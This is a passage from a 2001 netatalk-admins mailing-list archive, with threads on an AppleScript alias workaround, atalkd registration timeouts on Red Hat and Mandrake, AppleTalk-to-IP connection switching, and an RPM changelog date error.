This is because we have some standard directories (which we don't move) on our netatalk servers to which we'd LIKE to have aliases to but can't because netatalk always gives a new ID to directories from session to session.

If anybody thinks (s)he can need it, it is freely available at

http://lorenzo.yellowspace.net/scriptfarm/download/NetAliasApplet.sit

:-)

Lorenzo

p.s. 

notes:

-  I modified the script with ResEdit to have it work like an application with its own signature (N1ta). So if You wish to edit it, make a new script, save it as a compiled applet, then copy the 'scpt' resource of the script to your template, edit it, then copy back the scpt resource.
- It should work on OS X (and needs the CarbonLib). But anyway, OSX doesnt really speak to netatalk yet, so...
- It can not be run from the share (ask Apple why?)
- nifty icon! ;-0
- this is no solution - just a workaround!

From netatalk.administrators-errors@umich.edu  Mon May 14 11:57:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA20777
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 May 2001 11:57:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA07904
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 May 2001 11:57:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA07895
	for netatalk.administrators-members@umich.edu; Mon, 14 May 2001 11:57:23 -0400 (EDT)
Received: from khschulz.com (dyn170.biesseusa.com [198.143.202.170] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA07862
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 11:57:21 -0400 (EDT)
Received: by khschulz.com from localhost
    (router,SLMail V3.2); Mon, 14 May 2001 11:39:17 -0400
Received: from charlielabtop [198.143.202.130]
 by khschulz.com [198.143.202.170]  (SLmail 3.2.3113) with SMTP
 id B95CEE0795724D7AB72EFCEF83A2903A
 for <netatalk-admins@umich.edu>; Mon, 14 May 2001 11:39:17 -0400
From: "Karl-Heinz Schulz" <karlheinz@khschulz.com>
To: <netatalk-admins@umich.edu>
Subject: Problem with netatalk-1.5pre2-6 on a RH 7.1 system
Date: Mon, 14 May 2001 11:56:51 -0400
Message-ID: <005301c0dc8e$7ea2f750$6e320180@charlielabtop>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Importance: Normal
X-SLUIDL: CB4A7618-3F7B4B0A-80040CA8-DC50AF9D

I have problems to connect the Mac client to the server.
When shutting doen the server I receive the error

Shutting down AppleTalk services: Can't unregister barasnt3:Workstation@*
Can't unregister barasnt3:netatalk@*
Note: /etc/modules.conf is more recent than /lib/modules/2.4.2-2/modules.dep

"barasnt3 is the HOSTNAME"

When starting the error is

[root@barasnt3 atalk]# /etc/rc.d/init.d/atalk start
Starting AppleTalk services: (backgrounded)


after 10 seconds

[root@barasnt3 atalk]# nbp_rgstr: Connection timed out
Can't register barasnt3:Workstation@*
nbp_rgstr: Connection timed out
Can't register barasnt3:netatalk@*


I use shadowed password on the system - Could this cause it?

Thank you



From netatalk.administrators-errors@umich.edu  Mon May 14 17:48:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA06679
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 May 2001 17:48:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 May 2001 17:48:02 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01351
	for netatalk.administrators-members@umich.edu; Mon, 14 May 2001 17:48:01 -0400 (EDT)
Received: from revere3.musc.edu (revere3.musc.edu [128.23.203.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01336
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 17:48:00 -0400 (EDT)
Received: from D8H1FF01 ([128.23.211.115])
	by revere3.musc.edu (8.8.8/8.8.8) with ESMTP id RAA01276
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 17:48:00 -0400 (EDT)
Date: Mon, 14 May 2001 17:48:45 -0400
From: Stephen VanPelt <vanpelts@musc.edu>
To: netatalk-admins@umich.edu
Subject: Newbie Question - AT broadcast, but ASIP connection?
Message-ID: <2020047283.989862525@D8H1FF01>
Originator-Info: login-id=vanpelts; server=imap.musc.edu
X-Mailer: Mulberry/2.0.5 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hello there,

I've seen this happen on a K-Ashare server (this is a Unix product by 
Xinet), but I'm not sure if there's a way to make this happen using 
netatalk, and I'm hoping somewhere here can tell me.

I'd like for someone to see my server show up in their Appletalk zone, yet 
when they double-click on the server, I'd like it to connect over IP, 
rather than the default DDP connection.  I sense this is not a client-side 
setting, because I've got a netatalk server, and when I pick it in the 
chooser (rather than typing the IP in). it connects over Appletalk. 
However, I connect to a campus K-Ashare server by picking it in the 
chooser, and it connects over AppleShare IP.

Is there a way that I can broadcast in the zone, yet broadcast that I'm an 
Appleshare IP server?



Stephen VanPelt
Information Technology Consultant
MUSC Center for Drug and Alcohol Programs
PH: 843-792-5558 Internet:   vanpelts@musc.edu


__________________BEGIN FOOTER___________________
**The Views Expressed by the Author of this Message are not **
**necessarily those of the Medical University of South Carolina**

From netatalk.administrators-errors@umich.edu  Mon May 14 18:44:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA08562
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 May 2001 18:44:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA15927
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 May 2001 18:44:48 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA15924
	for netatalk.administrators-members@umich.edu; Mon, 14 May 2001 18:44:47 -0400 (EDT)
Received: from peterson.umci.com ([204.201.24.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA15877
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 18:44:41 -0400 (EDT)
Received: by peterson.umci.com with Internet Mail Service (5.5.2448.0)
	id <KT4YP6WB>; Mon, 14 May 2001 15:45:01 -0700
Message-ID: <F101D6F85C61D311B63D0050DA0EFDE130BC53@peterson.umci.com>
From: Chris Bondelid <cbond@umci.com>
To: netatalk-admins@umich.edu
Subject: RE: Newbie Question - AT broadcast, but ASIP connection?
Date: Mon, 14 May 2001 15:44:59 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="windows-1252"

I have netatalk 1.5pre[56] with AppleTalk DDP in the kernel and Mac clients
with OS 9 and OS 9.1 with both AppleTalk and IP turned on.  I pick my server
from the list in the Chooser (AppleTalk broadcast) but when the shares are
connected, I have the little world on the drive icon and in the info of the
connection, it says connected over IP.  But I have not tried previous
versions of MacOS so who knows if it's specific to >= OS 9 


Chris

SysAdmin
University Mechanical

-----Original Message-----
From: Stephen VanPelt [mailto:vanpelts@musc.edu]
Sent: Monday, May 14, 2001 2:49 PM
To: netatalk-admins@umich.edu
Subject: Newbie Question - AT broadcast, but ASIP connection?


Hello there,

I've seen this happen on a K-Ashare server (this is a Unix product by 
Xinet), but I'm not sure if there's a way to make this happen using 
netatalk, and I'm hoping somewhere here can tell me.

I'd like for someone to see my server show up in their Appletalk zone, yet 
when they double-click on the server, I'd like it to connect over IP, 
rather than the default DDP connection.  I sense this is not a client-side 
setting, because I've got a netatalk server, and when I pick it in the 
chooser (rather than typing the IP in). it connects over Appletalk. 
However, I connect to a campus K-Ashare server by picking it in the 
chooser, and it connects over AppleShare IP.

Is there a way that I can broadcast in the zone, yet broadcast that I'm an 
Appleshare IP server?



Stephen VanPelt
Information Technology Consultant
MUSC Center for Drug and Alcohol Programs
PH: 843-792-5558 Internet:   vanpelts@musc.edu


__________________BEGIN FOOTER___________________
**The Views Expressed by the Author of this Message are not **
**necessarily those of the Medical University of South Carolina**

From netatalk.administrators-errors@umich.edu  Mon May 14 20:34:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA14120
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 May 2001 20:34:33 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA19405
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 May 2001 20:34:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA19394
	for netatalk.administrators-members@umich.edu; Mon, 14 May 2001 20:34:23 -0400 (EDT)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA19355
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 20:34:20 -0400 (EDT)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id KAA24909
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 10:34:21 +1000 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3B007992.746EB6AD@arts.usyd.edu.au>
Date: Tue, 15 May 2001 10:34:26 +1000
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.3-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
CC: netatalk-admins@umich.edu
Subject: Re: Newbie Question - AT broadcast, but ASIP connection?
References: <F101D6F85C61D311B63D0050DA0EFDE130BC53@peterson.umci.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------msDBF61FEC5B919DD6C311F893"

This is a cryptographically signed message in MIME format.

--------------msDBF61FEC5B919DD6C311F893
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Bondelid wrote:
> 
> I have netatalk 1.5pre[56] with AppleTalk DDP in the kernel and Mac clients
> with OS 9 and OS 9.1 with both AppleTalk and IP turned on.  I pick my server
> from the list in the Chooser (AppleTalk broadcast) but when the shares are
> connected, I have the little world on the drive icon and in the info of the
> connection, it says connected over IP.  But I have not tried previous
> versions of MacOS so who knows if it's specific to >= OS 9

 The Appleshare client shipped with macOS 8.0 or later should
automaticly switch to IP when it finds the server capable of it.

> 
> Is there a way that I can broadcast in the zone, yet broadcast that I'm an
> Appleshare IP server?


 Supposed to happen automaticly. Can the Mac client connect via 'server
IP address' ? If so, for some reason your NetAtalk must be sending the
wrong IP address to the client in the initial capablity excange over
DDP.

In my case, any mac with OS 8.0 or later switches to IP for the actual
connection.


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------msDBF61FEC5B919DD6C311F893
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwNTE1MDAzNDI4WjAjBgkq
hkiG9w0BCQQxFgQUnhfi+34LQqfuV253sAorE+LYfdcwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYBZDnuIBS5BUxUuw5tm9G1l84xaFz8D2wL8ekZ7m8Z55pTuMPZhveRgtpdDtgPpFt67uDhT
p06zmmiHvY6UM6tdgLv9/cBVieZLavOWoeYgqI0AEPl7BlLTbJmcJoa5qbCEdkdZ5JeJuHAc
uIdYrkoz61gA/a7dExDXbfWz9Kr2qg==
--------------msDBF61FEC5B919DD6C311F893--


From netatalk.administrators-errors@umich.edu  Mon May 14 22:35:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA17795
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 May 2001 22:35:23 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA03504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 May 2001 22:35:22 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA03485
	for netatalk.administrators-members@umich.edu; Mon, 14 May 2001 22:35:22 -0400 (EDT)
Received: from neuman.interaccess.com (from.interaccess.com [207.208.131.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA03460
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 22:35:21 -0400 (EDT)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by neuman.interaccess.com (8.10.2/8.10.2) with ESMTP id f4F2ZKF04333
	for <netatalk-admins@umich.edu>; Mon, 14 May 2001 21:35:20 -0500 (CDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 14 May 2001 21:35:20 -0500
Subject: Building an RPM from the tar.gz
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7260018.1C3E1%bucky@interaccess.com>
In-Reply-To: <3B007992.746EB6AD@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

When trying to build an RPM from the latest .tar.gz, I get this:

  # rpm -ta netatalk-1.5pre6.tar.gz
  error: %changelog not in decending chronological order

(And, yes that's how the RPM developer spelled 'descending'...)

Apart from the implicit suggestion that the changelog be fixed, is there an
easy way to fix or circumvent this?

-B...


From netatalk.administrators-errors@umich.edu  Tue May 15 09:40:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA06111
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 09:40:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25594
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 09:40:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25571
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 09:40:23 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA25527
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 09:40:22 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f4FDeFq13377;
	Tue, 15 May 2001 09:40:15 -0400
Sender: root@univrel.pr.uconn.edu
Message-ID: <3B0131A6.5BBDE309@univrel.pr.uconn.edu>
Date: Tue, 15 May 2001 09:39:50 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdksmp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
CC: netatalk-admins@umich.edu
Subject: Re: Building an RPM from the tar.gz
References: <B7260018.1C3E1%bucky@interaccess.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Bruce A. Burdick, Jr." wrote:
> 
> When trying to build an RPM from the latest .tar.gz, I get this:
> 
>   # rpm -ta netatalk-1.5pre6.tar.gz
>   error: %changelog not in decending chronological order
> 
> (And, yes that's how the RPM developer spelled 'descending'...)
> 
> Apart from the implicit suggestion that the changelog be fixed, is there an
> easy way to fix or circumvent this?

Yes. I can try to use "2001" instead of "2000" in the dates for this
year. Sorry about the inconvenience.

jeff

From netatalk.administrators-errors@umich.edu  Tue May 15 16:58:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA24473
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 16:58:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA14123
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 16:58:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA14119
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 16:58:14 -0400 (EDT)
Received: from thor.germania.lan (pD95845F8.dip.t-dialin.net [217.88.69.248])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA14061
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 16:58:12 -0400 (EDT)
Received: by thor.germania.lan (Postfix, from userid 501)
	id 06902141B; Tue, 15 May 2001 22:57:34 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id D73461403
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 22:57:34 +0200 (CEST)
Date: Tue, 15 May 2001 22:57:34 +0200 (CEST)
From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
X-X-Sender:  <claus@thor.germania.lan>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Problem with netatalk-1.5pre2-6 on a RH 7.1 system
In-Reply-To: <005301c0dc8e$7ea2f750$6e320180@charlielabtop>
Message-ID: <Pine.LNX.4.33L2.0105152253190.1694-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 14 May 2001, Karl-Heinz Schulz wrote:

> I have problems to connect the Mac client to the server.
> When shutting doen the server I receive the error

I have the same problem with netatalk-1.5pre6-1mdk on Mandrake 8.0

This is what happens:

*****
[root@thor root]# /etc/rc.d/init.d/atalk start
nbp_rgstr: Connection timed out                            [  OK  ]
Can't register thor:Workstation@*
nbp_rgstr: Connection timed out
Can't register thor:netatalk@*
                                                           [  OK  ]
[root@thor root]# /etc/rc.d/init.d/atalk stop
Can't unregister thor:Workstation@*                        [  OK  ]
Can't unregister thor:netatalk@*
                                                           [  OK  ]
*****

This is my /etc/atalk/netatalk.conf (comment lines deleted):

*****
AFPD_MAX_CLIENTS=20
ATALK_NAME=`echo ${HOSTNAME}|cut -d. -f1`
AFPD_GUEST=nobody
ATALKD_RUN=yes
PAPD_RUN=yes
AFPD_RUN=yes
TIMELORD_RUN=no
ATALK_BGROUND=no
*****

Anybody out there who can tell us how to solve this problem??

Thanks a lot!
Claus


From netatalk.administrators-errors@umich.edu  Tue May 15 17:04:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA24699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 17:04:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA25048
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 17:04:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA25028
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 17:04:53 -0400 (EDT)
Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA24985
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 17:04:52 -0400 (EDT)
Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 71E0A1E2B3; Tue, 15 May 2001 23:04:51 +0200 (MEST)
Date: Tue, 15 May 2001 23:04:51 +0200
From: Olaf Hering <olh@suse.de>
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Problem with netatalk-1.5pre2-6 on a RH 7.1 system
Message-ID: <20010515230451.A4734@suse.de>
References: <005301c0dc8e$7ea2f750$6e320180@charlielabtop> <Pine.LNX.4.33L2.0105152253190.1694-100000@thor.germania.lan>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.16i
In-Reply-To: <Pine.LNX.4.33L2.0105152253190.1694-100000@thor.germania.lan>; from claus.atzenbeck@nikocity.de on Tue, May 15, 2001 at 10:57:34PM +0200

On Tue, May 15, Claus Atzenbeck wrote:

> On Mon, 14 May 2001, Karl-Heinz Schulz wrote:
> 
> > I have problems to connect the Mac client to the server.
> > When shutting doen the server I receive the error
> 
> I have the same problem with netatalk-1.5pre6-1mdk on Mandrake 8.0
> 
> This is what happens:
> 
> *****
> [root@thor root]# /etc/rc.d/init.d/atalk start
> nbp_rgstr: Connection timed out                            [  OK  ]
> Can't register thor:Workstation@*
> nbp_rgstr: Connection timed out
> Can't register thor:netatalk@*

Dont start the the atalkd with the `deamon` tool, I tried `startproc`
here, that doesnt work because startproc returns and atalkd is not yet
running. Well, if it works with earlier releases, no idea then.


Gruss Olaf

-- 
 $ man clone

BUGS
       Main feature not yet implemented...

From netatalk.administrators-errors@umich.edu  Tue May 15 17:42:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA27001
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 17:42:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA19590
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 17:42:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA19567
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 17:42:33 -0400 (EDT)
Received: from clavin.interaccess.com (from.interaccess.com [207.208.131.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA19540
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 17:42:32 -0400 (EDT)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by clavin.interaccess.com (8.10.2/8.10.2) with ESMTP id f4FLg0L19108;
	Tue, 15 May 2001 16:42:00 -0500 (CDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 15 May 2001 16:42:01 -0500
Subject: Re: Building an RPM from the tar.gz
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: jeff <jeff@univrel.pr.uconn.edu>
CC: <netatalk-admins@umich.edu>
Message-ID: <B7270B61.1C629%bucky@interaccess.com>
In-Reply-To: <3B0131A6.5BBDE309@univrel.pr.uconn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> From: jeff <jeff@univrel.pr.uconn.edu>
